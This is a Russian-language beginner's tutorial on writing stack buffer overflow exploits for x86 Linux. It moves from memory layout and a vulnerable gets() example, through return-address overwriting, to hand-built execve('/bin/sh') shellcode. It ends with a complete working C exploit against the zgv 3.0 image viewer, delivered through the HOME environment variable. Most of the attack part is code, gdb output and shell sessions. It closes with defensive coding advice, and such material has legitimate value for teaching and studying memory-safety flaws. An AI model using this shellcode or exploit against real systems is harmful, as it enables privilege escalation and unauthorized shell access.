Написание эксплоитов переполнения буфера. Руководство для начинающих.

Написание эксплоитов переполнения буфера. Руководство для начинающих.

Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.

Михаил Разумов, по материалам SecuriTeam

Переполнения буфера из пользовательского ввода стало одной из самых серьезных проблем в интернете и в современных компьютерных системах вообще. Все потому, что такие ошибки легко допускается на уровне программирования, и будучи незаметными для пользователей, которые не понимают или не могут получить исходный код, зачастую являются легко взламываемыми. Эта статья позволит среднему программисту на С научиться использовать эти уязвимости.

Память

Замечание: Распределение памяти процессов, описанное здесь, соответствует большинству компьютеров, однако все же зависит от архитектуры процессора. Эта статья применима для x86 и грубо подходит для Sparc.

Принцип эксплоита переполнения буфера состоит в записи произвольного ввода в области памяти, которые не должны изменяться, и вынуждение процесса выполнить этот код. Чтобы увидеть, как и где имеет место переполнение, давайте рассмотрим, как организована память. Страница – это часть памяти, которая использует собственную относительную адресацию, к которой процесс может получать доступ без необходимости знать, где она физически находится в RAM. Память процессов состоит из трех разделов:

  • Сегмент кода. Данные в этом сегменте являются ассемблерными инструкциями, исполняемыми процессором. Исполнение кода нелинейно и может пропускать код, выполнять jump и call функции при определенных условиях. Таким образом, мы имеем указатель, называемый EIP (instruction pointer). Адрес, на который указывает EIP, всегда содержит код, который будет выполнен следующим.
  • Сегмент данных. Это место для переменных и динамических буферов.
  • Сегмент стека, используемый для передачи данных (аргументов) функциям и как пространство для переменных в функциях. Основание стека обычно находится в самом конце виртуальной памяти страницы и растет вниз. Ассемблерная команда PUSHL добавляет в верх стека, а POPL удаляет одну величину из вершины стека и помещает ее в регистр. Для доступа к памяти стека напрямую, существует указатель стека ESP, указывающий на вершину (наименьший адрес памяти) стека.

Функции

Функция – это часть кода в сегменте кода, которая вызывается, выполняет задачу и затем возвращается к предыдущему процессу исполнения. Иногда в функцию могут передаваться аргументы. На ассемблере это обычно выглядит так (простой пример):

memory address      code
0x8054321 <main+x>    pushl $0x0
0x8054322    call $0x80543a0 <function>
0x8054327    leave
0x8054328    ret
...
0x80543a0 <function>  popl %eax
0x80543a1    addl $0x1337,%eax
0x80543a4   leave
0x80543a5   ret

Что здесь происходит? Главная функция вызывает function(0). Передаваемая переменная – 0, главная функция помещает (pushl) ее в стек, и затем вызывает функцию. Функция получает переменную из стека, используя popl. После исполнения, она возвращается к адресу 0x8054327. Как правило, главная функция помещает регистр EBP (frame pointer) в стек, который функция сохраняет, и восстанавливает после окончания. Эта концепция позволяет функции использовать собственное смещение для адресации, что, впрочем, малоинтересно для нас. Нам необходимо лишь знать, как выглядит стек. На самом верху мы имеем внутренние буферы и переменные функции. Затем идет сохраненный EBP регистр (32 бита = 4 байта), а затем адрес возврата, который также составляет 4 байта. Продвигаясь дальше вниз, мы дойдем до аргументов, переданных функции, которые нам неинтересны.

В данном случае, адрес возврата 0x8054327. Он автоматически сохраняется в стеке при вызове функции. При наличии уязвимости переполнения в коде, этот адрес возврата может быть перезаписан так, чтобы указывать на любую область памяти.

Пример уязвимой программы

Предположим, что мы делаем эксплоит для функции типа:

void lame (void) { char small[30]; gets (small); printf("%s\n", small); }
main() { lame (); return 0; }
Компилируем и дизассемблируем:
# cc -ggdb blah.c -o blah
/tmp/cca017401.o: In function `lame':
/root/blah.c:1: the `gets' function is dangerous and should not be used.
# gdb blah
/* краткое пояснение: gdb, GNU debugger 
использовался здесь для чтения и   
дизассемблирования бинарного файла (перевода в ассемблерный код) */
(gdb) disas main
Dump of assembler code for function main:
0x80484c8 <main>:       pushl  %ebp
0x80484c9 <main+1>:     movl   %esp,%ebp
0x80484cb <main+3>:     call   0x80484a0 <lame>
0x80484d0 <main+8>:     leave
0x80484d1 <main+9>:     ret
(gdb) disas lame
Dump of assembler code for function lame:
/* сохранение EBP в стек перед адресом возврата */
0x80484a0 <lame>:       pushl  %ebp
0x80484a1 <lame+1>:     movl   %esp,%ebp
/* увеличение стека на 0x20 или 32. Наш буфер 30-символьный, но
   память выделяется кратно 4 байтам 
   (т.к. процессор использует 32-битные слова)
   это эквивалент: char small[30]; */
0x80484a3 <lame+3>:     subl   $0x20,%esp
/* загрузка указателя на small[30] (место в стеке, расположенное
   по виртуальному адресу 0xffffffe0(%ebp)) стека, 
   и вызов функции gets: gets(small); */
0x80484a6 <lame+6>:     leal   0xffffffe0(%ebp),%eax
0x80484a9 <lame+9>:     pushl  %eax
0x80484aa <lame+10>:    call   0x80483ec <gets>
0x80484af <lame+15>:    addl   $0x4,%esp
/* загрузка адреса small и адреса строки "%s\n" в стек
   и вызов функции: printf("%s\n", small); */
0x80484b2 <lame+18>:    leal   0xffffffe0(%ebp),%eax
0x80484b5 <lame+21>:    pushl  %eax
0x80484b6 <lame+22>:    pushl  $0x804852c
0x80484bb <lame+27>:    call   0x80483dc <printf>
0x80484c0 <lame+32>:    addl   $0x8,%esp
/* получение адреса возврата 0x80484d0 из стека и возврат 
к этому адресу.   вы не увидите это здесь явно, 
потому что это выполняется CPU командой 'ret' */
0x80484c3 <lame+35>:    leave
0x80484c4 <lame+36>:    ret
End of assembler dump.

Переполнение буфера в программе

# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- пользовательский ввод
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
# ./blah
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx <- пользовательский ввод
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx
Segmentation fault (core dumped)
# gdb blah core
(gdb) info registers
     eax:       0x24          36
     ecx:  0x804852f   134513967
     edx:        0x1           1
     ebx:   0x11a3c8     1156040
     esp: 0xbffffdb8 -1073742408
     ebp:   0x787878     7895160 
              ^^^^^^

EBP равен 0x787878, что означает, что мы записали в стек больше данных, чем входной буфер смог принять. 0x78 – это шестнадцатеричный код 'x'. Процесс имел буфер максимальным размером 32 байта. Мы записали в память больше данных, чем выделено под пользовательский ввод, тем самым перезаписав EBP и адрес возврата строкой 'xxxx', после чего процесс пытался продолжить исполнение по адресу 0x787878, что привело к ошибке segmentation fault.

Изменение адреса возврата

Давайте попробуем вынудить программу вернуться к lame() вместо return. Нам необходимо изменить адрес возврата с 0x80484d0 на 0x80484cb. В памяти у нас есть: 32 байта буферного пространства | 4 байта EBP | 4 байта RET. Вот простая программа для помещения 4-байтного адреса возврата в 1-байтный символьный буфер:

main()
{
int i=0; char buf[44];
for (i=0;i<=40;i+=4)
*(long *) &buf[i] = 0x80484cb;
puts(buf);
}
# ret
ËËËËËËËËËËË,
# (ret;cat)|./blah
test     <- пользовательский ввод
ËËËËËËËËËËË,test
test     <- пользовательский ввод
test

Вот оно! Программа исполнила функцию два раза. Если возможно переполнение, адрес возврата из функции можно изменить, тем самым изменив процесс исполнения программы.

Командная оболочка (shell)

Мы можем поместить простые ассемблерные команды прямо в стек и изменить адрес возврата на адрес стека. Используя этот метод, мы сможем вставить код в уязвимый процесс и затем запустить его прямо в стеке. Так давайте создадим и вставим ассемблерный код для запуска командной оболочки. Обычный системный вызов execve() загружает и запускает любой исполняемый файл, прерывая исполнение текущего процесса. Использование:

int execve (const char *filename, char *const argv [], char *const envp[]);
Давайте посмотрим детали этого вызова в glibc2:
# gdb /lib/libc.so.6
(gdb) disas execve
Dump of assembler code for function execve:
0x5da00 <execve>:       pushl  %ebx
/* это реальный системный вызов. перед тем, как 
программа вызовет execve, она должна
  поместить в стек в обратном порядке 
  аргументы: **envp, **argv, *filename */
/* адрес **envp помещается в регистр edx */
0x5da01 <execve+1>:     movl   0x10(%esp,1),%edx
/* адрес **argv помещается в регистр ecx */
0x5da05 <execve+5>:     movl   0xc(%esp,1),%ecx
/* адрес *filename помещается в регистр ebx */
0x5da09 <execve+9>:     movl   0x8(%esp,1),%ebx
/*  0xb помещается в регистр eax; 
0xb == execve во внутренней системной таблице вызовов */
0x5da0d <execve+13>:    movl   $0xb,%eax
/* управление передается ядру, 
для запуска инструкции execve */
0x5da12 <execve+18>:    int    $0x80
0x5da14 <execve+20>:    popl   %ebx
0x5da15 <execve+21>:    cmpl   $0xfffff001,%eax
0x5da1a <execve+26>:    jae    0x5da1d <__syscall_error>
0x5da1c <execve+28>:    ret
End of assembler dump.

Создание переносимого кода

Нам необходимо сделать так, чтобы можно было запускать командную оболочку без необходимости ссылаться на аргументы в памяти традиционным способом, давая их точный адрес в странице памяти, что может быть сделано только при компиляции.

Поскольку мы можем оценить размер кода запуска командной оболочки, мы можем использовать инструкцию jmp <bytes> и call, чтобы перейти на определенное количество байт назад или вперед в выполняемом коде. Зачем использовать call? Преимущество в том, что CALL автоматически сохраняет в стеке адрес возврата, следующий после инструкции CALL. Помещая переменную сразу за call, мы косвенно помещаем ее адрес в стек, и нет необходимости его знать.

0   jmp <Z>     (переход на Z байт вперед)
2   popl %esi
...здесь размещаются функции...
Z   call <-Z+2> (переход на Z-2 байт назад, к POPL)
Z+5 .string     (первая переменная)

(Замечание: Если вы собираетесь написать код более сложный, чем порождающий командную оболочку, вы можете поместить больше, чем одну .string в конце кода. Вы знаете размер этих строк и поэтому сможете рассчитать их относительные адреса, зная расположение первой строки.)

Запуск командной оболочки

global code_start    /* нам понадобится это позже, 
пока не обращайте внимания */
global code_end
  .data
code_start:
  jmp  0x17
  popl %esi
  movl %esi,0x8(%esi)  
  /* задается адрес **argv после кода запуска 
  командной оболочки,
             0x8 байт после него отводится на строку “/bin/sh” */
  xorl %eax,%eax    /* помещается 0 в %eax */
  movb %eax,0x7(%esi)  /* помещается завершающий 0 
  после строки “/bin/sh” */
  movl %eax,0xc(%esi)  /* еще один 0 для получения 
  размера длинного слова */
my_execve:
  movb $0xb,%al    /* execve(         */
  movl %esi,%ebx    /* "/bin/sh",      */
  leal 0x8(%esi),%ecx  /* & of "/bin/sh", */
  xorl %edx,%edx    /* NULL       */
  int $0x80    /* );       */
  call -0x1c
  .string "/bin/shX"  /* X заменяется на символ закрытия строки командой
          movb %eax,0x7(%esi) */
code_end:

(Относительные смещения 0x17 и -0x1c могут быть получены путем записи 0x0, компиляции, дизассемблирования и просмотра размера кода запуска командной оболочки.)

Это уже вполне рабочий код запуска командной оболочки. Неплохо, однако, было бы дизассемблировать системный вызов exit() и вставить его перед ‘call’. В искусство написания кода запуска командной оболочки входит также избежание бинарных нулей в коде (указывают на конец ввода/буфера) и его изменение, например таким образом, чтобы двоичный код не содержал управляющих символов, которые могут быть отфильтрованы некоторыми уязвимыми программами.

Многое из этого делается с помощью самоизменяющегося кода, как мы сделали в инструкции movb %eax,0x7(%esi). Мы заменили X на \0, изначально не имея \0 в коде.

Давайте протестируем этот код. Сохраним вышеуказанный код как code.S (удалив комментарии) и следующий код как code.c:

extern void code_start();
extern void code_end();
#include <stdio.h>
main() { ((void (*)(void)) code_start)(); }
# cc -o code code.S code.c
# ./code
bash#

Теперь вы можете сконвертировать код запуска командной оболочки в шестнадцатеричный строковый буфер. Лучший способ это сделать – распечатать его:

#include <stdio.h>
extern void code_start(); extern void code_end();
main() { fprintf(stderr,"%s",code_start); }

Теперь можно пропустить через aconv -h или bin2c.pl, которые можно найти на http://www.dec.net/~dhg или http://members.tripod.com/mixtersecurity.

Написание эксплоита

Давайте посмотрим, как изменить адрес возврата, чтобы он указывал на код запуска командной оболочки, находящийся в стеке, и напишем пример эксплоита. Для примера возьмем zgv (программа просмотра графических файлов), поскольку она легко уязвима.

# export HOME=`perl -e 'printf "a" x 2000'`
# zgv
Segmentation fault (core dumped)
# gdb /usr/bin/zgv core
#0 0x61616161 in ?? ()
(gdb) info register esp
esp: 0xbffff574 -1073744524

Мы видим вершину стека в момент аварийного завершения программы. Можно предположить, что мы можем использовать это как адрес возврата к нашему коду запуска командной оболочки. Теперь мы добавим несколько инструкций NOP (no operation) перед нашим буфером, чтобы не было необходимости абсолютно точно определять начальный адрес нашего кода в памяти.

Функция вернет управление в стек перед нашим кодом, пройдет все NOP до начальной команды JMP, перейдет к CALL, вернется назад к popl, и затем запустится наш код в стеке.

Помните, что стек устроен таким образом: наименьший адрес памяти соответствует вершине стека, на которую указывает ESP, там хранятся начальные переменные, например буфер zgv, в который передается переменная окружения HOME.

Далее мы имеем сохраненный EBP (4 байта) и адрес возврата предыдущей функции. Мы должны записать 8 или более байт после буфера, чтобы перезаписать адрес возврата новым адресом в стеке.

Размер буфера в zgv 1024 байт. Это можно узнать, просмотрев код, или найдя начальную команду subl $0x400,%esp (=1024) в уязвимой функции. Теперь мы совместим все это в эксплоите:

Пример эксплоита zgv

/* пример эксплоита переполнения буфера в zgv 3.0,
    работает к с прекомпилированными бинарниками
    redhat 5.x/suse 5.x/redhat 6.x/slackware 3.x linux */
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
/* Это простейший код запуска командной оболочки в шестнадцатеричном виде */
static char shellcode[]=

"\xeb\x17\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b\x89\xf3\x8d"
"\x4e\x08\x31\xd2\xcd\x80\xe8\xe4\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68\x58";

#define NOP     0x90
#define LEN     1032 /* размер буфера + EBP + RET */ 
#define RET     0xbffff574
int main()
{
char buffer[LEN];
long retaddr = RET;
int i;
fprintf(stderr,"using address 0x%lx\n",retaddr);
/* заполняем весь буфер, EBP и RET адресом возврата */
for (i=0;i<LEN;i+=4)
   *(long *)&buffer[i] = retaddr;
/* теперь заполняем стек  NOP'ами, оставляя место 
 под код запуска командной оболочки,
   адрес возврата и еще 100 байт на всякий случай */
for (i=0;i<(LEN-strlen(shellcode)-100);i++)
   *(buffer+i) = NOP;
/* в конце NOP’ов, копируем код запуска командной оболочки execve() */
memcpy(buffer+i,shellcode,strlen(shellcode));
/* экспортируем переменную окружения, запускаем zgv */
setenv("HOME", buffer, 1);
execlp("zgv","zgv",NULL);
return 0;
}
/* EOF */

Мы получили строку типа:

[ ... NOP NOP NOP NOP NOP JMP SHELLCODE CALL /bin/sh RET RET RET RET RET RET ]

В то время как стек zgv выглядит таким образом:

адрес 0xbffff574:

[ МАЛЕНЬКИЙ БУФЕР ] [СОХРАНЕННЫЙ EBP] [ИСХОДНЫЙ RET]

Процедура выполнения zgv теперь такова:

main ... -> function() -> strcpy(smallbuffer,getenv("HOME"));

В этом месте zgv не проверяет границы, проводит запись за пределы маленького буфера (smallbuffer), после чего адрес возврата к main становится перезаписан на адрес возврата к стеку. function() производит leave/ret и EIP указывает на стек:

0xbffff574 nop
0xbffff575 nop
0xbffff576 nop
0xbffff577 jmp $0x24          1
0xbffff579 popl %esi           3
[...код запуска командной оболочки...]
0xbffff59b call -$0x1c         2
0xbffff59e .string "/bin/shX"
Давайте проверим эксплоит:
# cc -o zgx zgx.c
# ./zgx
using address 0xbffff574
bash#

Усовершенствования эксплоита

Существует много программ, которые тяжело взломать, но тем не менее уязвимых. Однако существует много приемов, которые вы можете использовать, чтобы обойти фильтрование ввода и т.п. Кроме того, некоторые методики переполнения буфера не обязательно включают изменение адреса возврата, или наоборот только адреса возврата. Это так называемые переполнения указателя, в которых указатель на функцию может быть перезаписан за счет переполнения, меняя направление исполнения программы (примером является эксплоит RoTShB bind 4.9), или эксплоиты, в которых адрес возврата указывает на указатель переменной окружения, в которой находится код запуска командной оболочки, вместо помещения его в стек (это помогает при очень маленьких стеках и защите от исполнения кода в стеке, и может обмануть некоторые программы безопасности).

Другим важным пунктом для опытного создателя кодов запуска командной оболочки является радикальное изменение кода, который будет состоять только из печатаемых символов в верхнем регистре, а затем сам модифицирует себя для помещения функционального кода запуска командной оболочки в стек и его запуска, и т.д. Никогда код не должен содержать двоичных нулей, потому что он наверняка не будет работать.

Заключения

Мы выяснили, что если существует уязвимость переполнения буфера, зависящая от пользователя, в 90% случаев она может быть взломана, хотя в некоторых ситуациях это может оказаться сложным и потребовать некоторого опыта. Зачем создавать эксплоиты? Чтобы устранять невежественность в индустрии программного обеспечения. Несмотря на сообщения об уязвимостях переполнения буфера в программном обеспечении, программное обеспечение не обновляется, либо большинство пользователей его не обновляет, поскольку уязвимость сложна для взлома и никто не верит, что она создает угрозу безопасности. А когда появляется эксплоит и создает реальную угрозу защите программы, тогда возникает срочная необходимость ее обновить.

Для программиста является сложной задачей писать защищенные программы, но к этому нужно относиться очень серьезно. Это в особенности относится к написанию серверов, программ по безопасности, и программ, которые запускаются от имени root, некоторых специальных эккаунтов или системы. Используйте проверку границ (функции strn*, sn*, вместо sprintf и т.п.), предпочитайте динамическое задание размера буфера в зависимости от пользовательского ввода, будьте осторожны с циклами for/while/ и т.п., которые накапливают данные в буфере, и обрабатывайте пользовательский ввод с большим вниманием – вот главные принципы, которые мы предлагаем.

Также в индустрии безопасности были предприняты значительные усилия для предотвращения проблем переполнения буфера с помощью методик типа неисполняемый стек, suid wrapper, защитные программы, которые проверяют адреса возврата, компиляторы с проверкой границ и т.д. Следует использовать эти техники везде, где это возможно, но не полагайтесь только на них. И не рассчитывайте быть полностью защищенным, если вы используете дистрибутив UNIX двухлетней давности без обновлений, но используя защиту от переполнения буфера или (что еще глупее) файрволл/IDS. Это не может обеспечить безопасность, если вы продолжаете использовать незащищенные программы, потому что все программы безопасности являются программами, и могут сами иметь уязвимости, или как минимум недостатки. Если вы осуществляете частые обновления и используете средства безопасности, вы все равно не можете быть уверены, но можете хотя бы надеяться.

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену